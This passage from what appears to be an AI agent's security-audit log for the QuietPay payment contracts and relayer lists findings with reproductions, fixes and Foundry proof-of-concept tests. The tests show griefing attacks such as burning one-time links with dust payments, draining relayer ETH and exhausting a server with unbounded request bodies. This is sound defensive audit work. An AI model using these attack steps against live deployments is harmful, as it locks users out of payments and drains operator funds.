[uint256(101), 102, 103, 104];\n        bytes[4] memory lockSigs;\n        for (uint256 i = 0; i < 4; i++) lockSigs[i] = sign(router.lockDigest(locks[i], refund));\n\n        // Griefer burns every lock with the pool minimum (1 tUSDG each), naming their own refund.\n        for (uint256 i = 0; i < 4; i++) {\n            vm.prank(griefer);\n            router.pay(locks[i], 1_000_000, griefer);\n        }\n        assertFalse(router.requestPaid(key), \"request is not marked paid\");\n\n        // Expected: the honest payer can still pay the signed request through one of its locks.\n        bool paid;\n        for (uint256 i = 0; i < 4 && !paid; i++) {\n            vm.prank(payer);\n            (paid, ) = address(router).call(\n                abi.encodeCall(QuietPayPoolRouterV2.payRequest, (ID, AMOUNT, expires, terms, locks[i], refund, lockSigs[i]))\n            );\n        }\n        assertTrue(paid, \"signed request can never be paid: link lock and all spares burned by a third party\");\n        assertTrue(router.requestPaid(key));\n    }\n}","reproduction":"State: request ID 0xaa.., amount 500e6, key K, locks 101 (link) and 102..104 (spares), all signed by K. Griefer calls router.pay(p, 1_000_000, griefer) for p = 101..104 (4 tUSDG total). Payer then calls payRequest(ID, 500e6, exp, termsSig, p, refund, lockSig_p) for each p. Expected: at least one succeeds and requestPaid(K) becomes true. Actual: all four revert PrecommitmentAlreadyUsed and requestPaid(K) stays false for good. Reproduced with test/scratch/LockBurn.t.sol (a mock Entrypoint that mirrors the one-use precommitment and minimum deposit); it fails on the current code with 'signed request can never be paid: link lock and all spares burned by a third party'.","severity":"medium","snippet":"  function pay(uint256 precommitment, uint256 amount, address refund) external nonReentrant returns (uint256 label) {","title":"QuietPayPoolRouterV2: a signed one-time pool request can be made permanently unpayable by burning its link lock and all three public spare locks through pay() for the pool minimum each (defeats the do"},{"citation":"resolved","description":"deriveRequestKey (src/lib/link-keys.ts:74) derives the request key from (wallet seed, chain, link index) alone, and payRequest records the paid state per signing address (line 176-177), not per request ID. SECURITY.md 'Key loss' documents that two devices can pick the same link number (the chain check in src/app/create/CreateFlow.tsx:170 only detects locks the pool has accepted, and unpaid links are not recoverable by scanning, so a second device that recovers from chain while an unpaid link exists picks the same number). It claims the links then merely share keys and fixed links show only payments carrying their own request ID. With signed pool requests that is no longer true: once the first link is paid, the second link's correctly signed, unexpired, unpaid request always reverts RequestAlreadyPaid. No funds are lost; the recipient must issue a new link. Fix: key requestPaid by keccak256(key, requestId) (or by the terms digest), so one key can carry several requests while each request is still paid at most once.","line":83,"path":"contracts/src/QuietPayPoolRouterV2.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.23;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {QuietPayPoolRouterV2} from \"contracts/src/QuietPayPoolRouterV2.sol\";\n\ncontract MockToken {\n    mapping(address => uint256) public balanceOf;\n    mapping(address => mapping(address => uint256)) public allowance;\n    function mint(address to, uint256 a) external { balanceOf[to] += a; }\n    function approve(address s, uint256 a) external returns (bool) { allowance[msg.sender][s] = a; return true; }\n    function transferFrom(address f, address t, uint256 a) external returns (bool) {\n        require(allowance[f][msg.sender] >= a, \"allowance\");\n        allowance[f][msg.sender] -= a;\n        balanceOf[f] -= a; balanceOf[t] += a; return true;\n    }\n    function transfer(address t, uint256 a) external returns (bool) { balanceOf[msg.sender] -= a; balanceOf[t] += a; return true; }\n}\n\ncontract MockPool {\n    address public entrypoint;\n    address public asset;\n    uint256 public scope = 1;\n    uint256 public nonce;\n    mapping(uint256 => address) public depositors;\n    constructor(address ep, address a) { entrypoint = ep; asset = a; }\n    function ENTRYPOINT() external view returns (address) { return entrypoint; }\n    function ASSET() external view returns (address) { return asset; }\n    function SCOPE() external view returns (uint256) { return scope; }\n    function setDepositor(uint256 label, address d) external { depositors[label] = d; }\n    function nextLabel() external view returns (uint256) {\n        return uint256(keccak256(abi.encodePacked(scope, nonce + 1))) % 21888242871839275222246405745257275088548364400416034343698204186575808495617;\n    }\n    function bumpNonce() external returns (uint256) {\n        nonce += 1;\n        return uint256(keccak256(abi.encodePacked(scope, nonce))) % 21888242871839275222246405745257275088548364400416034343698204186575808495617;\n    }\n}\n\ncontract MockEntrypoint {\n    MockToken public token;\n    MockPool public pool;\n    mapping(uint256 => bool) public usedPrecommitments;\n    constructor(MockToken t) { token = t; }\n    function setPool(MockPool p) external { pool = p; }\n    function deposit(address, uint256 value, uint256 precommitment) external returns (uint256 commitment) {\n        require(!usedPrecommitments[precommitment], \"PrecommitmentAlreadyUsed\");\n        usedPrecommitments[precommitment] = true;\n        token.transferFrom(msg.sender, address(this), value);\n        uint256 label = pool.bumpNonce();\n        pool.setDepositor(label, msg.sender);\n        commitment = uint256(keccak256(abi.encodePacked(value, label, precommitment)));\n    }\n}\n\n/// Two one-time links made offline on two devices can pick the same link number (SECURITY.md says\n/// so). The request key is derived from the link number alone, so both links are signed by the same\n/// address, and QuietPayPoolRouterV2 marks a request paid per signing address. Paying the first\n/// link therefore makes the second permanently unpayable, even though its request ID, amount,\n/// expiry and lock are all different and correctly signed.\ncontract RequestKeyReuseFailsTest is Test {\n    MockToken token;\n    MockPool pool;\n    MockEntrypoint ep;\n    QuietPayPoolRouterV2 router;\n\n    uint256 constant REQUEST_KEY_PK = 0xA11CE5EED;\n    address payerA = address(0xA1);\n    address payerB = address(0xB1);\n\n    function setUp() public {\n        token = new MockToken();\n        ep = new MockEntrypoint(token);\n        pool = new MockPool(address(ep), address(token));\n        ep.setPool(pool);\n        router = new QuietPayPoolRouterV2(address(pool));\n        token.mint(payerA, 1000);\n        token.mint(payerB, 1000);\n        vm.prank(payerA); token.approve(address(router), type(uint256).max);\n        vm.prank(payerB); token.approve(address(router), type(uint256).max);\n    }\n\n    function sign(bytes32 digest) internal pure returns (bytes memory) {\n        // EIP-191 personal-sign over the 32-byte digest, as the app does (viem signMessage raw).\n        bytes32 h = keccak256(abi.encodePacked(\"\\x19Ethereum Signed Message:\\n32\", digest));\n        (uint8 v, bytes32 r, bytes32 s) = vm.sign(REQUEST_KEY_PK, h);\n        return abi.encodePacked(r, s, v);\n    }\n\n    function testSecondLinkWithSameKeyCannotBePaid() public {\n        address key = vm.addr(REQUEST_KEY_PK);\n\n        // Link A: request id 0xaa.. amount 100, lock 111\n        bytes16 idA = 0xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa;\n        uint256 amountA = 100;\n        uint64 expiresA = uint64(block.timestamp + 1 days);\n        bytes memory termsA = sign(router.requestDigest(idA, amountA, expiresA));\n        bytes memory lockA = sign(router.lockDigest(111, address(0xAAA)));\n\n        // Link B: different request id, amount and lock, same signing key (same link number).\n        bytes16 idB = 0xbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb;\n        uint256 amountB = 200;\n        uint64 expiresB = uint64(block.timestamp + 2 days);\n        bytes memory termsB = sign(router.requestDigest(idB, amountB, expiresB));\n        bytes memory lockB = sign(router.lockDigest(222, address(0xBBB)));\n\n        vm.prank(payerA);\n        router.payRequest(idA, amountA, expiresA, termsA, 111, address(0xAAA), lockA);\n        assertTrue(router.requestPaid(key));\n\n        // Link B is validly signed, unexpired, unpaid and has a fresh lock, yet cannot be paid.\n        // Expected: link B is paid, since its own request ID was never paid and its lock is unused.\n        vm.prank(payerB);\n        (bool ok, ) = address(router).call(\n            abi.encodeCall(QuietPayPoolRouterV2.payRequest, (idB, amountB, expiresB, termsB, 222, address(0xBBB), lockB))\n        );\n        assertTrue(ok, \"second link sharing the request key is permanently unpayable\");\n        assertEq(token.balanceOf(address(ep)), 300, \"both payments landed in the pool\");\n    }\n}","reproduction":"Links A and B share request key K (private key 0xA11CE5EED in the test) with different request IDs (0xaa.., 0xbb..), amounts (100, 200), expiries and locks (111, 222), each signed by K. Payer A calls payRequest(idA, 100, expiresA, termsA, 111, 0xAAA, lockA): succeeds, requestPaid(K) == true. Payer B calls payRequest(idB, 200, expiresB, termsB, 222, 0xBBB, lockB). Expected: succeeds, since idB was never paid and lock 222 is unused. Actual: reverts RequestAlreadyPaid. Reproduced with test/scratch/RequestKeyReuse.t.sol, which fails on the current code with 'second link sharing the request key is permanently unpayable'.","severity":"medium","snippet":"  mapping(address requestKey => bool) public requestPaid;","title":"Two one-time links that pick the same link number share one request key, so paying one makes the other permanently unpayable (requestPaid is keyed by signer, not by request ID)"},{"citation":"resolved","description":"relayEconomics accepts a relay when the fee, valued at tokenUnitsPerEth (RELAYER_ETH_PRICE, default 3000 tUSDG per ETH), covers the gas. On testnet the fee token is QuietPayTestUSDG, which anyone mints without limit through faucet(), so the fee has no value and the check protects nothing (src/lib/server/gas-drops.ts header says so for top-ups). The remediation added a minimum balance and per-address, per-caller and daily caps, but only for gas top-ups (decideGasDrop is called from guard.allowDrop after the withdrawal succeeded, relayer.ts:233). relayWithdrawal (relayer.ts:199-224) and relayTransfer (relayer.ts:369-382) simulate, check relayEconomics and then send, with no check of the relayer balance against RELAYER_MIN_BALANCE_ETH and no daily total; the only limit is RELAYS_PER_10_MIN = 30 per salted IP in src/app/api/relay/route.ts:21. src/lib/pool/server.ts:5 documents that RELAYER_PRIVATE_KEY is the 'relayer + approver key', so an emptied relayer also stops updateRoot, after which new deposits can only leave by ragequit, not privately. Classification of the previous ETH-exhaustion finding: partially fixed (top-ups only). Fix: put the relay transaction under the same limits (refuse below RELAYER_MIN_BALANCE_ETH, daily ETH or count budget, per-caller daily count), and use a separate key for the approver so relay spending cannot stop approvals.","line":63,"path":"src/lib/pool/relayer.ts","reproduction":"Testnet defaults: RELAYER_FEE_BPS=50, RELAYER_ETH_PRICE=3000 so tokenUnitsPerEth=3000e6, relay gas about 900k at 0.1 gwei = 9e-5 ETH. Attacker mints faucet(10_000e6), deposits into the pool, waits for approval (POOL_ROOT_INTERVAL_SECONDS=60), then POSTs /api/relay with withdrawals of 100e6 to fresh addresses. feeWei at line 63 = (100e6*50/10000)*1e18/3000e6 = 1.67e-4 ETH > 9e-5 relayCost, so ok=true and the relay is sent. Expected: relays paid in worthless tokens cannot consume the relayer's ETH without bound. Actual: each IP gets 30 relays per 10 minutes (about 4,320 a day, about 0.39 ETH a day at these numbers) with no floor and no total cap; nothing stops at RELAYER_MIN_BALANCE_ETH, and once the balance is 0, relays and approval roots both stop. Verified by code trace of relayWithdrawal, relayTransfer, route.ts and gas-drops.ts; not an on-chain reproduction (no transactions were broadcast).","severity":"medium","snippet":"  const feeWei = (((p.amount * p.feeBPS) / 10_000n) * WEI) / p.tokenUnitsPerEth;","title":"Relayer ETH can be drained by relays whose fee is paid in free test tokens: the gas-drop limits do not cover the relay transaction itself, there is no balance floor or daily cap on relays, and the dra"},{"citation":"resolved","description":"_pay in V2 checks only the zero address, while V3 (QuietPayRouterV3.sol:115) also refuses the router, the token and the announcer. .env.production line 7 (NEXT_PUBLIC_TESTNET_ROUTER_ADDRESS=0x40fd154912de23993fe32b861f2c784b664b2d1a, commit 76f9a83 'Use router v2 on testnet') still names the v2 deployment, and src/lib/chain.ts:133 accepts v2 code hashes as a valid router. SECURITY.md presents the destination refusal as an on-chain property; for the deployed configuration only the client-side checkStealthDestination in src/lib/payer.ts applies, which binds nobody calling the contract directly or any other client. Impact is limited: a stealth address derived from a real link cannot equal the token address, so the trapped-funds case needs a caller who chooses that destination, i.e. self-harm or a buggy client. Classification of the previous destination finding: partially fixed. Fix: configure the v3 router in .env.production and drop v2 from the accepted set (or state in SECURITY.md that v2 relies on the client-side check). Merged from audit_math and audit_flow.","line":109,"path":"contracts/src/QuietPayRouterV2.sol","reproduction":"Deploy V2 and V3 with the same token and announcer; payer approves both. v2.pay(address(token), 100e6, ephemeral, metadata(0x00, 0xa9059cbb, token, 100e6)). Expected (v3 semantics and SECURITY.md): revert BadDestination. Actual: succeeds and token.balanceOf(address(token)) rises by 100e6, unrecoverable. The same call on V3 reverts BadDestination. Reproduced by running the audit_flow proof (both of its tests pass, i.e. the V2 acceptance and V3 refusal both hold); no proof attached because V2 is immutable and the fix is configuration.","severity":"low","snippet":"    if (stealthAddress == address(0)) revert ZeroAddress();","title":"Production config still points at router v2, which has no on-chain destination check; the previous destination finding is fixed only in v3 and client-side for v2"},{"citation":"resolved","description":"The header (lines 23-24) and SECURITY.md promise that the vetting fee 'can never exceed MAX_VETTING_FEE_BPS ... whatever the admin proposes'. _checkCall enforces the ceilings only on updatePoolConfiguration and registerPool calldata (lines 171-176). grantRole and revokeRole are accepted for any role and account (line 180), and upgradeToAndCall only requires the implementation to have code (line 179). The Entrypoint sets OWNER_ROLE as its own admin (contracts/vendor/privacy-pools/src/contracts/Entrypoint.sol:81), so the guardian, as owner, can grant OWNER_ROLE to the admin EOA; after the delay the EOA calls Entrypoint.updatePoolConfiguration directly with any fee below 10_000 (Entrypoint.sol:396) and no delay. revokeRole(OWNER_ROLE, guardian) would leave the Entrypoint without an owner, so windDown, postman rotation and withdrawFees become impossible and the fees it holds are stuck. upgradeToAndCall to any implementation can rewrite fees or the Entrypoint's fee balance. minimumDepositAmount passes through unchecked: 0 makes lock burning cost only gas on mainnet, uint256.max halts every deposit, payRequest and pool-to-pool transfer. Every path waits the public delay and the code comment acknowledges it, so this is a privileged-trust gap, not an outside attack. Fix, keeping the guardian design: in _checkCall refuse grantRole for OWNER_ROLE and DEFAULT_ADMIN_ROLE unless the grantee is a new guardian, refuse revokeRole(OWNER_ROLE, address(this)) unless another owner exists, allowlist upgrade implementation code hashes, and bound minimumDepositAmount; or reword the NatSpec and SECURITY.md to say the ceilings hold only while no role change or upgrade is executed. Merged from audit_permissions and audit_economics.","line":180,"path":"contracts/src/QuietPayPoolGuardian.sol","reproduction":"Guardian G owns Entrypoint E with delay D. admin calls G.propose(E, abi.encodeCall(IEntrypointAdmin.grantRole, (keccak256('OWNER_ROLE'), admin))): _checkCall at line 180 accepts it. After D anyone calls G.execute(id); Entrypoint.grantRole succeeds because OWNER_ROLE's admin role is OWNER_ROLE, which G holds. admin then calls E.updatePoolConfiguration(tUSDG, 1e6, 9999, 9999) directly. Expected per the NatSpec and SECURITY.md: the vetting fee can never exceed 100 bps. Actual: 9999 bps takes effect immediately and the next payRequest of 500e6 credits the recipient 0.05e6. Also accepted by _checkCall: revokeRole(OWNER_ROLE, G), upgradeToAndCall(anyContractWithCode, data), and updatePoolConfiguration(asset, type(uint256).max, 0, 0). Verified by reading _checkCall against Entrypoint's role setup; the vendored Entrypoint pins solc 0.8.28, so no Foundry proof is attached.","severity":"low","snippet":"    } else if (sel == IEntrypointAdmin.grantRole.selector || sel == IEntrypointAdmin.revokeRole.selector) {","title":"QuietPayPoolGuardian: the 'hard' fee ceilings can be bypassed after one delay through grantRole(OWNER_ROLE), revokeRole or upgradeToAndCall, and minimumDepositAmount is unbounded (trust assumption ove"},{"citation":"resolved","description":"afterFees() subtracts only the relayer fee. It feeds the pre-send summary (src/app/send/SendFlow.tsx:185 and :386) and the done screen (SendFlow.tsx:297-298, 'is on its way'). For a send to a personal link each part goes through QuietPayPoolRouterV2.transfer, which withdraws got, pays fee to the relayer and re-deposits got - fee through the Entrypoint (contracts/src/QuietPayPoolRouterV2.sol:215); Entrypoint._handleDeposit then deducts the vetting fee again (Entrypoint.sol:332), so the recipient's note is (got - fee) minus (got - fee) * vettingFeeBPS / 10000. The Transferred event (PoolRouterV2.sol:216) likewise reports the pre-vetting amount. The displayed and confirmed figure equals the real one only while vettingFeeBPS == 0 (the current testnet deployment, scripts/deploy-testnet.ts:152); the guardian may raise it to 100 bps through a delayed proposal. Not a loss of funds (the difference is the Entrypoint's fee by design), but a wrong payment confirmation. Fix: for to.kind === 'key' compute arrives per part as creditedAmount(part.amount - feeFor(part.amount, feeBPS), vettingFeeBPS) and show the vetting fee as its own line; document on Transferred that amount is before the vetting fee.","line":44,"path":"src/lib/pool/send.ts","reproduction":"State: pool vettingFeeBPS = 50, relayer feeBPS = 100. Sender sends 2_000_000 units (2 tUSDG) to a personal link from one note. Displayed and confirmed: fee 20_000, arrives 1_980_000. Actual on chain: router pays 20_000 to the relayer and deposits 1_980_000; the Entrypoint keeps 1_980_000 * 50 / 10000 = 9_900 and the recipient's note is 1_970_100. Verified by tracing afterFees -> SendFlow -> QuietPayPoolRouterV2.transfer -> Entrypoint._handleDeposit/_deductFee.","severity":"low","snippet":"  return { fee, arrives: total - fee };","title":"Send to a personal link shows and confirms an 'arrives' amount that ignores the vetting fee charged on the pool-to-pool re-deposit"},{"citation":"resolved","description":"Lines 287-289 display Delivery fee = value * feeBPS / 10000 and Arrives = value - that, where value is what the one-time address deposits. The deposit is credited after the pool's vetting fee, as the 'Credited after pool fee' row two lines above shows using afterVettingFee(value, info.vettingFeeBPS), and as the tooSmall check on line 98 uses correctly. The delivery later withdraws the note's value (src/lib/pool/deliver.ts:66), so the relayer fee is afterVetting * feeBPS / 10000 and the arrival is afterVetting minus that. Two formulas for the same quantity use different bases inside one component and agree only when vettingFeeBPS == 0. Fix: base both rows on afterVettingFee(value, info.vettingFeeBPS).","line":289,"path":"src/app/receive/ShieldForm.tsx","reproduction":"State: vettingFeeBPS = 50, relayer feeBPS = 100, user shields value = 100_000_000 (100 tUSDG) with 'Send it to my wallet'. Displayed: Credited after pool fee 99.500000, Delivery fee 1.000000, Arrives 99.000000. Actual: note value 99_500_000, relay fee 995_000, arrives 98_505_000 (98.505000). The displayed arrival exceeds the real one by 0.495000 and the fee row contradicts the credited row above it. Verified by reading lines 98, 282-289 and deliver.ts.","severity":"low","snippet":"              <dd className=\"text-right text-snow\">{fmt(value - (value * feeBPS) / 10_000n)}</dd>","title":"Shield form computes the delivery fee and 'Arrives' on the pre-vetting deposit amount, not on the note value that is actually withdrawn"},{"citation":"resolved","description":"decideGasDrop acquires the per-recipient cooldown key (line 69) before evaluating the per-caller (line 70) and daily (line 71) counters and never releases it on denial. A caller who has already used perCallerDaily top-ups can relay a withdrawal to a chosen address V (a valid proof of their own note, with V as recipient), be refused with denied='caller', and leave V's cooldown held for cooldownSec (default 86_400). The header's claim that refused attempts do not use up other users' quota is contradicted for the per-address quota. Impact is limited to V's gas top-up; the withdrawal itself still works. Fix: check the per-caller and daily counters before acquiring the recipient key, or release the recipient key on denial.","line":69,"path":"src/lib/server/gas-drops.ts","reproduction":"perCallerDaily = 3. Caller X performs three top-ups to any recipients. X then POSTs /api/relay with a withdrawal whose recipient is V; decideGasDrop acquires gasdrop:to:V at line 69, then returns denied='caller' at line 70. Expected: V's cooldown untouched because no top-up was sent. Actual: a legitimate withdrawal to V within 86_400 s is denied with 'recipient', so V receives no gas to move its tokens. Verified by reading decideGasDrop; the kv.acquire call has no matching release in the deny path.","severity":"low","snippet":"  if (!(await d.kv.acquire(`gasdrop:to:${p.recipient.toLowerCase()}`, d.limits.cooldownSec))) return deny(\"recipient\");","title":"Gas-drop recipient cooldown is consumed before the per-caller and daily limits, so a request refused by those limits still blocks the recipient's top-up for a day"},{"citation":"resolved","description":"The only body cap is the client-supplied Content-Length header on line 63, after which req.json() on line 66 buffers and parses the whole body. A chunked request has no Content-Length, so Number(undefined ?? 0) is 0 and the check passes at any size. The route is unauthenticated and takes arbitrary client input, so it is a memory and CPU exhaustion path for the server. The guarded path in src/lib/server/guard.ts:194 (readJson) compares text.length in UTF-16 code units rather than bytes, admitting up to three times maxBytes. Fix: use readJson(req, 40_000) here and compare byte length in readJson.","line":66,"path":"src/app/api/locks/route.ts","reproduction":"POST /api/locks with 'Transfer-Encoding: chunked', no Content-Length, body = a JSON array repeated to tens of megabytes. Expected: 413 before parsing. Actual: the request is JSON.parse'd in full; each concurrent request holds its body in memory. Verified by reading route.ts lines 60-72 (no other body limit exists in the route or in next.config.ts).","severity":"low","snippet":"    body = await req.json();","title":"POST /api/locks parses a JSON body with no size bound when Content-Length is absent (chunked requests), unlike /api/relay which uses readJson"},{"citation":"resolved","description":"_deposit refuses refund == router/token/pool/entrypoint (BadDestination, line 240), but transfer() checks feeRecipient only against address(0) (line 211). If the proof's withdrawal.data names the router (or the token or pool) as feeRecipient, fee is transferred there and stays: every router path works on balance deltas, so no function can move a stray router balance. Only the prover chooses feeRecipient and the QuietPay relayer only submits transfers whose feeRecipient is its own address, so this is self-harm or operator misconfiguration, not an attack. Fix: apply the same BadDestination check to feeRecipient when fee != 0.","line":211,"path":"contracts/src/QuietPayPoolRouterV2.sol","reproduction":"State: a note of 5 tUSDG deposited through the router. Input: transfer(withdrawal{processooor: router, data: abi.encode(pre, refund, address(router), 500_000)}, proof{pubSignals[2] = 2_000_000, context bound}). Expected: revert BadDestination as a refund to the router would. Actual: succeeds; token.balanceOf(router) == 500_000 forever. Verified by reading lines 202-217 against _deposit's check at line 240.","severity":"info","snippet":"      if (feeRecipient == address(0)) revert ZeroAddress();","title":"transfer() does not refuse fee recipients that can never move tokens, unlike the refund check; a fee addressed to the router is stranded in the router"}],"hash":"66d0e75929843b29b2b90ba4958034248c0dcaf53f807d8d9296243f5b74af30","nodeId":"96430324-2841-425f-9ac3-3e454d46edbd","outcome":"completed","summary":"The review is complete. `.imd-findings.json` holds 11 merged, reproduced findings; no tracked file was changed, and the only writes are that file and three proof tests under `test/scratch/`.\n\n**What I did.** I rebuilt a Foundry workspace in a temp directory with the pinned solc 0.8.23 and remappings into `contracts/src`, ran the four specialist proofs, then verified every remaining claim by code trace against the routers, the guardian, the vendored 0xbow Entrypoint, and the relayer, lock and gas-drop server code. The 17 specialist findings collapsed to 11 after merging duplicates. Nothing was dropped as unreproducible.\n\n**Findings kept, by severity:**\n\n- **Medium, payOnce request-ID burn** (RouterV3 line 103, same code in V2). Anyone pays 1 base unit to their own address and the link is dead forever. Three specialists reported it. The audit_permissions proof fails on current code for exactly that reason, so it is attached. Previous one-time-consumption finding: partially fixed (pool links only).\n- **Medium, lock burn of link lock plus all three spares** (PoolRouterV2 line 142). Four minimum deposits through `pay()` make a signed request permanently unpayable while `requestPaid` stays false. I wrote my own failing proof with a mock Entrypoint that mirrors the one-use precommitment rule.\n- **Medium, shared request key** (PoolRouterV2 line 83). Two links with the same link number share a signer, and `requestPaid` is keyed by signer, so paying one kills the other. I converted the specialist's passing test into one that fails on current code.\n- **Medium, relayer ETH drain through relays paid in free test tokens** (relayer.ts line 63). The remediation capped only gas top-ups. Relays have no balance floor and no daily cap, and the same key is the approver. Verified by code trace only, no transactions were sent.\n- **Low:** production config still on router v2 without the on-chain destination check (previous destination finding partially fixed), guardian ceilings bypassable through grantRole/revokeRole/upgrade and unbounded minimum deposit, Send and Shield screens ignoring the vetting fee in displayed amounts, gas-drop cooldown consumed before caller and daily checks, and chunked bodies to POST /api/locks parsed without a size bound.\n- **Info:** `transfer()` accepts the router itself as fee recipient, stranding the fee.\n\n**Severity changes from the specialists.** The request-key collision stays medium because a second device recovering from chain while an unpaid link exists picks the same number, so it is not just the offline-race edge SECURITY.md describes. The v2 destination issue is lowered to low because a real stealth address cannot equal the token address, so trapped funds need a caller who chooses that destination. The guardian issue is low as a documented trust gap, since every path waits the public delay.\n\n**Limits of this review.** The vendored Entrypoint pins solc 0.8.28, so the guardian and relayer findings rest on code reading rather than a Foundry run. No fuzzing or invariant campaigns were run within the time budget, and the browser, cryptography and privacy areas of the brief were only covered where a specialist raised a concrete claim.","treeHash":null,"usage":{"cachedInputTokens":1442306,"cost":{"source":"runtime","usdMicros":4299704},"inputTokens":482,"model":"claude-fable-5-1","outputTokens":30444,"runtime":"claude","turns":33,"wallClockMs":423264}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"56b13350bba65fd7","findings":[{"citation":"resolved","description":"payOnce marks the request ID paid before checking that the payment is the link's payment. There is no binding between a request ID and the recipient's key, amount or stealth address: any caller may pass any non-zero amount and any stealthAddress (attackerStealth, 1 base unit) with metadata describing that dust transfer, and paidOnce[requestId] becomes true forever. The real payer's payOnce then reverts AlreadyPaid, and src/lib/payer.ts:293 reads paidOnce() and refuses to build the payment at all. The request ID is not secret: it is carried in every link (src/lib/link.ts, bytes 47..62) and appears in the payer's pending calldata, so a griefer can also front-run a payment already in flight. SECURITY.md's 'Remaining limits' says a one-time link 'can be used up by someone holding the link who pays its full amount to an address of their own'; the code allows it for 1 base unit, which removes the only cost the documented limit relied on. QuietPayRouterV2.sol:98 has the identical code.","line":103,"path":"contracts/src/QuietPayRouterV3.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.23;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {QuietPayRouterV3} from \"src/QuietPayRouterV3.sol\";\nimport {QuietPayTestUSDG} from \"src/QuietPayTestUSDG.sol\";\nimport {ERC5564Announcer} from \"src/ERC5564Announcer.sol\";\n\n/// @notice A one-time request ID is marked paid by ANY payment, of any amount, to any address.\n///         An attacker who sees the request ID (it travels in the link, and in the payer's\n///         pending transaction calldata) can burn it with a 1-base-unit transfer to an address\n///         they control. The honest payment then always reverts AlreadyPaid, and the app's\n///         preflight reads paidOnce() and refuses to pay. The link is dead at a cost of 1 unit.\ncontract PayOnceBurnTest is Test {\n    QuietPayTestUSDG token;\n    ERC5564Announcer announcer;\n    QuietPayRouterV3 router;\n\n    address attacker = address(0xA11CE);\n    address payer = address(0xB0B);\n    address recipientStealth = address(0x5EED);\n    address attackerStealth = address(0xBAD);\n\n    bytes16 constant REQUEST_ID = 0x11112222333344445555666677778888;\n    uint256 constant LINK_AMOUNT = 100e6;\n    bytes ephemeral = hex\"02c6047f9441ed7d6d3045406e95c07cd85c778e4b8cef3ca7abac09b95c709ee5\";\n\n    function setUp() public {\n        token = new QuietPayTestUSDG();\n        announcer = new ERC5564Announcer();\n        router = new QuietPayRouterV3(address(token), address(announcer));\n        vm.prank(attacker);\n        token.faucet(10);\n        vm.prank(payer);\n        token.faucet(LINK_AMOUNT);\n        vm.prank(attacker);\n        token.approve(address(router), type(uint256).max);\n        vm.prank(payer);\n        token.approve(address(router), type(uint256).max);\n    }\n\n    /// 76-byte ERC-5564 metadata the router insists describes the transfer exactly.\n    function meta(uint256 amount) internal view returns (bytes memory) {\n        return abi.encodePacked(\n            bytes1(0x00),          // view tag (never checked against the ephemeral key)\n            bytes4(0xa9059cbb),    // transfer selector\n            address(token),        // token\n            bytes32(amount),       // amount\n            bytes3(0x515001),      // \"QP\" magic\n            REQUEST_ID             // request id\n        );\n    }\n\n    function testAttackerBurnsRequestWithOneBaseUnit() public {\n        // Attacker only pays 1 base unit, to an address of their own choosing.\n        vm.prank(attacker);\n        router.payOnce(REQUEST_ID, attackerStealth, 1, ephemeral, meta(1));\n\n        assertTrue(router.paidOnce(REQUEST_ID), \"request id recorded as paid\");\n        assertEq(token.balanceOf(attackerStealth), 1);\n\n        // The honest payer, holding the link, can now never pay it.\n        vm.prank(payer);\n        vm.expectRevert(abi.encodeWithSelector(QuietPayRouterV3.AlreadyPaid.selector, REQUEST_ID));\n        router.payOnce(REQUEST_ID, recipientStealth, LINK_AMOUNT, ephemeral, meta(LINK_AMOUNT));\n    }\n\n    /// Same effect as a mempool front-run: the victim's transaction reverts and no payment lands.\n    function testFrontRunBurnsRequest() public {\n        // Victim's pending calldata reveals REQUEST_ID, LINK_AMOUNT and the metadata.\n        bytes memory victimMeta = meta(LINK_AMOUNT);\n\n        // Attacker (or a builder) lands first with a dust payment for the same request id.\n        vm.prank(attacker);\n        router.payOnce(REQUEST_ID, attackerStealth, 1, ephemeral, meta(1));\n\n        vm.prank(payer);\n        vm.expectRevert(abi.encodeWithSelector(QuietPayRouterV3.AlreadyPaid.selector, REQUEST_ID));\n        router.payOnce(REQUEST_ID, recipientStealth, LINK_AMOUNT, ephemeral, victimMeta);\n\n        // The recipient received nothing.\n        assertEq(token.balanceOf(recipientStealth), 0);\n    }\n}","reproduction":"Attacker with 1 base unit of the token approves the router, then calls QuietPayRouterV3.payOnce(0x11112222333344445555666677778888, 0xBAD, 1, ephemeral, metadata(viewTag, 0xa9059cbb, token, 1, 0x515001, sameRequestId)). Expected: the request stays payable by the real payer. Actual: paidOnce[requestId] == true and the payer's payOnce(requestId, recipient, 100e6, ..., metadata(100e6)) reverts AlreadyPaid(requestId); the recipient receives nothing. Also reproducible as a front-run: the attacker lands the dust call first and the victim's transaction reverts.","severity":"medium","snippet":"    paidOnce[requestId] = true;","title":"One-time request ID can be burned by anyone with a 1-base-unit payment, permanently blocking the link"},{"citation":"resolved","description":"pay() accepts any precommitment and any amount from any caller, and the pool marks a precommitment used forever (Entrypoint.usedPrecommitments). The link publishes its lock's precommitment, and the three spare precommitments are handed by /api/locks to anyone who presents the request key, which is in the link. A griefer therefore burns the link's lock and its spares with four 1-base-unit deposits, after which payRequest cannot deposit under any of them and the link is dead. docs/shielded-pool.md:191 says the spares mean 'the link still works' if someone burns the lock; they only raise the cost from 1 unit to 4. The burned amounts do land with the recipient, so this is griefing, not theft.","line":142,"path":"contracts/src/QuietPayPoolRouterV2.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.23;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {QuietPayPoolRouterV2} from \"src/QuietPayPoolRouterV2.sol\";\n\n/// Minimal stand-ins for the 0xbow Entrypoint and PrivacyPool, matching the calls the router makes.\ncontract MockToken {\n    mapping(address => uint256) public balanceOf;\n    mapping(address => mapping(address => uint256)) public allowance;\n    function mint(address to, uint256 a) external { balanceOf[to] += a; }\n    function approve(address s, uint256 a) external returns (bool) { allowance[msg.sender][s] = a; return true; }\n    function transferFrom(address f, address t, uint256 a) external returns (bool) {\n        require(allowance[f][msg.sender] >= a, \"allowance\");\n        allowance[f][msg.sender] -= a;\n        balanceOf[f] -= a; balanceOf[t] += a; return true;\n    }\n    function transfer(address t, uint256 a) external returns (bool) { balanceOf[msg.sender] -= a; balanceOf[t] += a; return true; }\n}\n\ncontract MockPool {\n    address public entrypoint;\n    address public asset;\n    uint256 public scope = 1;\n    uint256 public nonce;\n    mapping(uint256 => address) public depositors;\n    constructor(address ep, address a) { 